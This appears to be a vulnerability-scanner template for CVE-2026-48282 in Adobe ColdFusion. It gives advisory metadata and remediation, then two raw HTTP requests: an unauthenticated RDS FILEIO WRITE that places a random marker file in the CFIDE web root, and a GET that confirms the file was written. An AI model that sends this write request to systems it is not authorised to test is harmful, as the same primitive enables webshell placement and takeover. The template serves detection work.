CVE-2026-48282: Adobe ColdFusion - RDS Arbitrary File Write

id: CVE-2026-48282

info:
  name: Adobe ColdFusion - RDS Arbitrary File Write
  author: watchtowr,DhiyaneshDk
  severity: critical
  description: |
    ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary code execution in the context of the current user. The RDS FILEIO WRITE operation allows unauthenticated attackers to write arbitrary files when RDS is enabled with authentication disabled. Exploitation of this issue does not require user interaction. Scope is changed.
  impact: |
    An attacker can write arbitrary files to the server filesystem, leading to remote code execution by writing CFML webshells to the web root.
  remediation: |
    Update to ColdFusion 2025 Update 10 or ColdFusion 2023 Update 21 or later.
  reference:
    - https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html
    - https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-48282
    epss-score: 0.42388
    epss-percentile: 0.98631
    cwe-id: CWE-22
  metadata:
    verified: true
  tags: cve,cve2026,rce,file-upload,adobe,coldfusion,rds,intrusive,kev,vkev

variables:
  randfile: "{{to_lower(rand_text_alpha(8))}}"

flow: |
  http("write") && http("verify")

http:
  - id: write
    raw:
      - |
        POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        4:{{pathlen}}:{{dirpath}}{{randfile}}.txt000005:WRITE000001:0000008:{{randfile}}

    payloads:
      dirpath:
        - '/opt/coldfusion/cfusion/wwwroot/CFIDE/'
        - 'C:\ColdFusion2025\cfusion\wwwroot\CFIDE\'
        - 'C:\ColdFusion2023\cfusion\wwwroot\CFIDE\'

      pathlen:
        - '000050'
        - '000052'
        - '000052'

    attack: pitchfork
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "1:2:")'
        condition: and
        internal: true

  - id: verify
    raw:
      - |
        GET /CFIDE/{{randfile}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randfile}}'

      - type: status
        status:
          - 200
# digest: 490a0046304402201f0ed81a38cbd212dfe3fd64c08446dcc7c5a43d0a02b4b4471c6487766ffe310220735348b44feb82d3590d95fa3dbf8c6c1c35832bd174dd5433a00ed890db831f:922c64590222798bb761d5b6d8e72950

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